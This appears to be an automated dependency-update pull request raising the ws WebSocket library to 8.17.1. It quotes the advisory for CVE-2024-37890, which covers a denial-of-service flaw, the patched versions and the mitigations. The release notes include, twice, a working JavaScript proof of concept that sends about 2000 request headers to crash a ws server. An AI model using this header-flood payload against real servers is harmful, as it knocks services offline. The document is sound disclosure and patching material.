In vulnerable versions of ws, the issue can be mitigated in the following ways:
Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.
websockets/ws (ws)
### [`v8.17.1`](https://redirect.github.com/websockets/ws/releases/tag/8.17.1)
[Compare Source](https://redirect.github.com/websockets/ws/compare/8.17.0...8.17.1)
### Bug fixes
- Fixed a DoS vulnerability ([#2231](https://redirect.github.com/websockets/ws/issues/2231)).
A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount]
threshold could be used to crash a ws server.
```js
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
```
The vulnerability was reported by [Ryan LaPointe](https://redirect.github.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://redirect.github.com/websockets/ws/issues/2230).
In vulnerable versions of ws, the issue can be mitigated in the following ways:
1. Reduce the maximum allowed length of the request headers using the
[`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so
that no more headers than the `server.maxHeadersCount` limit can be sent.
2. Set `server.maxHeadersCount` to `0` so that no limit is applied.
[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize
[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener
[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount
Configuration
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[ ] If you want to rebase/retry this PR, check this box
This PR contains the following updates:
8.17.0
->8.17.1
GitHub Vulnerability Alerts
CVE-2024-37890
Impact
A request with a number of headers exceeding the
server.maxHeadersCount
threshold could be used to crash a ws server.Proof of concept
Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or themaxHeaderSize
options so that no more headers than theserver.maxHeadersCount
limit can be sent.server.maxHeadersCount
to0
so that no limit is applied.Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
Release Notes
websockets/ws (ws)
### [`v8.17.1`](https://redirect.github.com/websockets/ws/releases/tag/8.17.1) [Compare Source](https://redirect.github.com/websockets/ws/compare/8.17.0...8.17.1) ### Bug fixes - Fixed a DoS vulnerability ([#2231](https://redirect.github.com/websockets/ws/issues/2231)). A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount] threshold could be used to crash a ws server. ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` The vulnerability was reported by [Ryan LaPointe](https://redirect.github.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://redirect.github.com/websockets/ws/issues/2230). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscountConfiguration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
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